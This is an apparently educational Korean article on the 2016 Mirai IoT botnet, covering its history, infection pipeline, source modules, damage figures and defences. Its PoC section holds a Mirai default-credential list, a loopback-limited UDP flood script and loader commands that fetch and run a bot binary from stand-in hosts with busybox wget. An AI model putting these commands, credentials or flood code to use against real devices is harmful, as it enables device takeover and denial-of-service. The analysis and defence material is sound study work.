🦠 Mirai 봇넷 분석 - 기본 비밀번호 62개로 60만 대 IoT를 무기화하다 (2016)

1. 배경/역사 — 언제, 누가, 왜 유명한가

Mirai(일본어로 "미래")는 2016년 8월 처음 등장한 IoT(사물인터넷) 봇넷이다. PC가 아닌 IP 카메라, DVR, NVR, 공유기 같은 저사양 임베디드 기기를 감염시켜 대규모 DDoS(분산서비스거부) 공격에 동원한 최초의 사례로, 인터넷 보안 역사의 분수령으로 기록된다.

작성자: "Anna-senpai"라는 닉네임으로 알려진 미국 뉴저지 주의 대학생 Paras Jha. DDoS 대여 서비스 vDOS 운영진과 얽혀 있었으며, 2017년 12월 FBI에 체포되어 Dalton Norman, Josiah White와 함께 컴퓨터 범죄 혐의를 인정했다.
이름의 유래: Jha는 애니메이션 《미라이 니키(未来日記)》에서 이름을 따왔다고 밝혔다. (일본어로 미라이 = 미래)
왜 유명한가: ① 2016년 9월 보안 블로거 KrebsOnSecurity를 620Gbps로 타격(당시 미국 동부 최대 규모), ② 프랑스 호스팅 OVH에 1Tbps급 공격, ③ 2016년 10월 21일 DNS 인프라 기업 Dyn을 마비시켜 트위터·넷플릭스·레딧·스포티파이 등 미국 동부 대규모 서비스 장애 유발, ④ 2016년 9월 소스코드가 HackForums에 공개되며 이후 수백 개의 변종(Satori, Okiru, Masuta, Mozi 등)이 쏟아져 나온 "IoT 악성코드의 원조"가 되었기 때문이다.
학계 기록: USENIX Security 2017에 발표된 "Understanding the Mirai Botnet"(Antonakakis et al.)은 조사 기간 동안 60만 개 이상의 고유 IP가 감염되었음을 보여준다.

2. 감염·전파 경로 — 어떻게 퍼졌나

Mirai는 이메일 첨부나 웹 취약점이 아니라, "인터넷에 노출된 텔넷(Telnet) + 기본 비밀번호"라는 IoT 업계의 만성적 방치를 파고들었다. 스스로 전파하는 웜의 형태라기보다, 자동화된 스캔 → 무차별 대입 → 원격 설치의 3단계 파이프라인으로 기기를 집어삼켰다.

1단계 — 스캔(Scan): 감염된 봇이 무작위 IP 대역을 대상으로 TCP SYN 스캔을 수행한다. 텔넷 포트인 23/2323이 열려 있으면 후보 큐에 등록하고 C2(명령제어서버)에 보고한다. 출발지 IP를 위조해 추적을 어렵게 만든 것도 이 단계의 특징이다.
2단계 — 브루트포스(Bruteforce): 큐에 등록된 기기에 62개의 기본 자격증명 목록(root:root, root:xc3511, root:vizxv, admin:admin 등)을 순서대로 대입해 텔넷 로그인을 시도한다. 대부분의 취약 기기는 첫 몇 번의 시도 만에 뚫린다.
3단계 — 로더(Loader): 로그인에 성공하면 셸 명령을 주입해 wget/busybox wget으로 CPU 아키텍처별 봇 바이너리(MIPS, ARM, x86 등)를 내려받아 실행시킨다.
4단계 — 봇 가입: 실행된 봇은 C2 서버에 접속해 "PING"으로 체크인하고, 공격 명령을 기다린다. 감염된 기기는 다시 1단계의 스캐너가 되어 지수적으로 봇넷을 확장한다.

3. 동작 원리 상세 분석 — 코드/구조 레벨에서

공개된 Mirai 소스코드는 모듈 구조가 명확하다. 각 모듈이 실제로 하는 일을 보면 "단순한 비밀번호 대입기"가 아니라 생존·전파·공격·은닉을 모두 갖춘 산업용 봇넷이었음을 알 수 있다.

main.c — 봇 메인: C2(기본적으로 텔넷 포트 23/101)에 접속하고, 60초마다 PING을 보내 생존을 알린다. 수신한 명령을 파싱해 공격 스레드를 생성한다.
scanner.c — 전파 엔진: 무작위 IP 생성 + 무작위 출발지 IP 위조 + 23/2323 포트 SYN 스캔을 별도 스레드로 무한 반복한다. 응답이 오는 IP만 정밀 큐로 넘긴다.
bruteforce — 침투 엔진: 62개 기본 자격증명을 순차 대입한다. 로그인 성공 시 shell을 얻고, 기기의 아키텍처를 확인해 맞는 바이너리를 받게 한다.
killer.c — 자기방어: 다른 봇넷/경쟁 악성코드의 프로세스를 찾아 죽이고, 감염 후 iptables로 23/2323 포트를 차단해 다른 봇넷이 재감염하지 못하게 한다. 별도 워치독(watchdog) 프로세스가 봇이 죽으면 즉시 재실행시킨다.
attack.c + attack_udp.c / attack_app.c — 공격 엔진: C2가 내리는 !* <벡터> <타깃> <지속시간> 형식의 명령을 실행한다. 벡터는 UDP flood(무작위 8바이트 헤더+데이터), SYN/ACK flood, GRE flood, DNS 워터토처(무작위 서브도메인으로 오픈 리졸버를 때려 증폭), HTTP flood, VSE(게임서버) 쿼리 flood 등 다수였다.
loader/ — 배포 인프라: 감염 기기에 아키텍처별 바이너리를 내려주는 별도 서버. wget이 없는 기기를 위해 busybox wget도 활용했다.
비영속성의 역설: 봇은 램 상주형이라 재부팅하면 사라진다. 그러나 대부분의 IP 카메라·DVR은 한 번 켜면 몇 달씩 재부팅하지 않기 때문에 실질적으로 오래 살아남았다. (이후 변종들은 플래시에 영속화하는 기능을 추가했다)

4. 피해 규모/영향 — 실제 사례 수치

KrebsOnSecurity 공격 (2016-09-20): 아카마이 측정 기준 620Gbps의 DDoS. Krebs가 vDOS(DDoS 대여 서비스)를 폭로한 데 대한 보복이었다. 당시 미국 동부에서 관측된 최대 규모.
OVH 공격 (2016-09): OVH 창업자 Octave Klaba가 밝힌 1Tbps급 공격 — 145,000대의 IP 카메라·DVR이 동원된 것으로 알려졌다.
Dyn DNS 공격 (2016-10-21): 수십만 개의 서로 다른 IP에서 쏟아진 대규모 DNS 쿼리 플러드로 Dyn 인프라가 마비 → 트위터, 넷플릭스, 레딧, 스포티파이, GitHub, Etsy 등 미국 동부 사용자에게 수 시간 동안 접속 장애. "인터넷이 죽은 날"로 회자된다.
감염 규모: USENIX Security 2017 논문 기준 조사 기간 동안 60만 개 이상의 고유 IP 감염. DOJ는 기소 당시 "수십만 대의 취약 IoT 기기"를 감염시킨 것으로 발표했다. 감염 기기의 상당수는 중국산 IP 카메라·DVR(다후아, Xiongmai 등)이었다.
후폭풍: 2016년 9월 소스코드 공개 이후 수백 개의 Mirai 변종이 등장 — Satori(2018년 1월, Huawei 라우터 CVE-2017-17215 악용으로 약 28만 대 감염) 등. IoT 기본 비밀번호 문제를 전 세계에 각인시키며, 미국 캘리포니아 SB-327 같은 IoT 보안 규제 논의를 촉발했다.

5. PoC — 교육용 모의 코드로 동작 원리 재현

⚠️ 안전 규칙: 아래 코드는 실제 Mirai 페이로드가 아니라 "동작 원리만 재현한 교육용 모의 코드"다. 공격 대상은 가상의 로컬 실습 환경(인메모리 가상 기기 테이블, 127.0.0.1 루프백)을 전제로 하며, 출발지 IP 위조(raw socket)는 구현하지 않고 패킷 수·크기에 하드 리밋을 두었다. 실제 인터넷/내부망 대상으로 실행하지 말 것.

PoC 1 — 감염 단계 재현 (스캐너 + 브루트포스 + 로더): 원본 scanner.c와 브루트포스 로직을 인메모리 가상 기기 테이블 대상으로 축약했다.

#!/usr/bin/env python3
"""
Mirai 감염 단계 교육용 시뮬레이션 (가상의 로컬 실습 환경 전제)
- 실제 네트워크 스캔/공격이 전혀 없음: 인메모리 '가상 기기 테이블'만 대상으로 동작 원리 재현
- 원본 Mirai의 scanner.c + bruteforce 로직을 축약한 모의 코드 (페이로드 아님)
"""
import random, time

# 원본 Mirai의 62개 기본 자격증명 목록 중 일부만 발췌 (교육용)
DEFAULT_CREDS = [
    ("root", "root"), ("root", "xc3511"), ("root", "vizxv"),
    ("root", "admin"), ("admin", "admin"), ("root", "12345"),
    ("root", "default"), ("admin", "password"), ("root", "juantech"),
    ("support", "support"), ("root", "system"), ("root", "666666"),
]

# 가상의 로컬 실습 환경: '감염 대상' IoT 기기 목록 (전부 가상, 실제 주소 아님)
FAKE_DEVICES = {
    "192.168.77.11": ("admin", "admin"),      # 가상 IP카메라 (기본 비번 그대로 -> 취약)
    "192.168.77.23": ("root", "vizxv"),       # 가상 DVR (기본 비번 -> 취약)
    "192.168.77.34": ("root", "s3cure!pw"),   # 패치/비번 변경된 기기 (방어됨)
    "192.168.77.45": ("support", "support"),  # 가상 공유기 (기본 비번 -> 취약)
}

def syn_scan(ip):
    """Mirai scanner.c의 SYN 스캔 단계 모의: 23/2323 포트 개방 여부 확인.
    실제 Mirai는 위조된 출발지 IP로 TCP SYN을 보내고 SYN-ACK 응답을 기다린다.
    여기서는 가상 기기 테이블에 존재하면 '포트 개방'으로 간주한다."""
    return ip in FAKE_DEVICES

def telnet_try(ip, user, pw):
    """브루트포스 단계 모의: 가상 기기의 자격증명과 대조."""
    real_user, real_pw = FAKE_DEVICES[ip]
    time.sleep(0.02)  # 네트워크 지연 흉내
    return user == real_user and pw == real_pw

def infect(ip):
    """로더(loader) 단계 모의: 원본은 wget으로 아키텍처별 봇 바이너리를 받아 실행한다."""
    print(f"[LOADER] {ip} -> busybox wget -O /tmp/bot http://c2.lab.local/bot && chmod 777 /tmp/bot && /tmp/bot")

def main():
    random.seed(7)  # 데모 출력이 안정적으로 나오도록 고정 시드
    print("[SCANNER] 무작위 IP 대상 SYN 스캔 시작 (포트 23/2323)")
    for _ in range(60):
        ip = f"192.168.77.{random.randint(1, 254)}"
        if syn_scan(ip):
            print(f"[SCANNER] {ip}:23 개방 감지 -> 브루트포스 큐 등록")
            for user, pw in DEFAULT_CREDS:
                if telnet_try(ip, user, pw):
                    print(f"[BRUTE] {ip} 로그인 성공 ({user}:{pw})")
                    infect(ip)
                    break
            else:
                print(f"[BRUTE] {ip} 기본 자격증명 모두 실패 (방어된 기기)")

if __name__ == "__main__":
    main()

실행 결과 (실제 실행 확인됨):

[SCANNER] 무작위 IP 대상 SYN 스캔 시작 (포트 23/2323)
[SCANNER] 192.168.77.23:23 개방 감지 -> 브루트포스 큐 등록
[BRUTE] 192.168.77.23 로그인 성공 (root:vizxv)
[LOADER] 192.168.77.23 -> busybox wget -O /tmp/bot http://c2.lab.local/bot && chmod 777 /tmp/bot && /tmp/bot

PoC 2 — 공격 단계 재현 (UDP flood): 원본 attack.c의 UDP flood 벡터를 루프백 한정·하드 리밋으로 축약했다. 실제 Mirai는 raw socket으로 출발지 IP를 위조하고 초당 수만~수십만 패킷을 쏟아내지만, 본 코드는 127.0.0.1의 discard 포트(9번)에 최대 100개만 보낸다.

#!/usr/bin/env python3
"""
Mirai attack.c의 UDP flood 벡터를 모의한 교육용 코드
- 실제 Mirai: raw socket + 출발지 IP 위조 + 무작위 8바이트 UDP 헤더/페이로드, 초당 수만~수십만 패킷
- 본 PoC: 오직 127.0.0.1(루프백) 대상, 패킷 수/크기 하드 리밋, 출발지 위조 없음
"""
import socket, random, sys, time

TARGET = ("127.0.0.1", 9)   # 로컬 discard 포트 (또는 직접 띄운 UDP 에코 서버)
MAX_PACKETS = 100           # 하드 리밋 (실제 Mirai와 달리 극소량)
MAX_SIZE = 64               # 1패킷 최대 64바이트

def udp_flood(duration_sec=2):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sent = 0
    end = time.time() + duration_sec
    while time.time() < end and sent < MAX_PACKETS:
        # 원본 Mirai는 랜덤 8바이트 UDP 헤더 + 랜덤 데이터를 위조 소스로 전송
        payload = bytes(random.getrandbits(8) for _ in range(random.randint(8, MAX_SIZE)))
        s.sendto(payload, TARGET)
        sent += 1
    print(f"[UDPFLOOD] {sent} packets -> {TARGET[0]}:{TARGET[1]} (교육용 로컬 실습 한정)")

if __name__ == "__main__":
    udp_flood(duration_sec=float(sys.argv[1]) if len(sys.argv) > 1 else 2)

실행 결과 (실제 실행 확인됨): [UDPFLOOD] 100 packets -> 127.0.0.1:9 (교육용 로컬 실습 한정)

PoC 3 — 로더 배포 명령의 형태 (셸 스니펫): 원본 loader가 감염 기기에서 내리는 명령의 구조만 재현한 것이다. URL은 문서용 예약 대역(TEST-NET)을 사용하며 실제 다운로드는 일어나지 않는다.

# 원본 Mirai loader가 감염 기기에서 실행한 명령의 형태 (교육용, 실제 전송 없음)
# - CPU 아키텍처를 확인한 뒤 그에 맞는 바이너리를 받아 실행한다
# - wget이 없는 기기는 busybox wget으로 대체한다
uname -m                                  # mips / armv7l / x86_64 ... 확인
busybox wget -O /tmp/bot http://192.0.2.1/bot   # TEST-NET 주소 (실제 서버 아님)
chmod 777 /tmp/bot
/tmp/bot                                  # 봇 실행 -> C2 체크인(PING) 시작

6. 방어 방법/교훈 — 어떻게 막았고, 무엇을 배우나

기기/사용자 측: ① 기본 비밀번호 즉시 변경 (Mirai가 뚫은 62개 조합은 전부 제조사 기본값), ② 최신 펌웨어 유지, ③ 원격 관리용 텔넷(23/2323)을 닫고 SSH/HTTPS 사용, ④ UPnP로 포트가 자동 개방되지 않게 설정 점검.
네트워크/인프라 측: ① 23/2323 포트의 인터넷 노출 차단, ② BCP38(ingress filtering)으로 출발지 IP 위조 트래픽 차단, ③ 오픈 DNS 리졸버 방치 금지(DNS 워터토처/증폭 방어), ④ 비정상 대량 UDP/SYN 트래픽 탐지 및 rate-limit.
산업/제도 측: IoT 제조사의 "보안 기본값" 의무화 — 미국 캘리포니아 SB-327(2020년 발효, 기본 비밀번호 금지), 유럽 ETSI EN 303 645 등. 국내에서도 KISA가 IoT 기기 대상 Mirai 변종 주의보를 반복 발령한 바 있다.
교훈:
- "기본 비밀번호"는 사실상 열린 문: 단 62개 조합의 자격증명으로 60만 대 이상의 기기가 무너졌다. 인증의 기본이 가장 큰 공격면이 될 수 있다.
- IoT의 규모 = 화력: 성능이 약한 카메라一台一台는 하찮아도, 수십만 대가 모이면 국가급 DNS 인프라(Dyn)를 마비시킬 수 있다. 분산의 힘.
- 소스코드 공개는 위협의 영구화: Mirai 소스가 공개된 순간 이 공격은 "도구"가 되어 누구나 쓸 수 있게 되었다. 이후 수백 개 변종의 시발점.
- 보안은 제조 단계에서: 저가·대량 생산되는 IoT 기기의 보안 결여가 봇넷의 온상이 된다. 가격 경쟁에 묻힌 보안이 결국全社会의 비용이 된 사례.

출처

KrebsOnSecurity — KrebsOnSecurity Hit With Record DDoS (2016-09-21)
KrebsOnSecurity — Who is Anna-Senpai, the Mirai Worm Author? (2017-01-18)
USENIX Security 2017 — Understanding the Mirai Botnet (Antonakakis et al.)
Dyn — Dyn Analysis Summary Of Friday October 21 Attack
U.S. DOJ — Three Individuals Plead Guilty To Computer Crimes Related To Mirai Botnet (2017-12-13)
Wikipedia — Mirai (malware)

함께 읽기: 💥 Smashing The Stack For Fun And Profit — 버퍼 오버플로우의 교과서 (1996)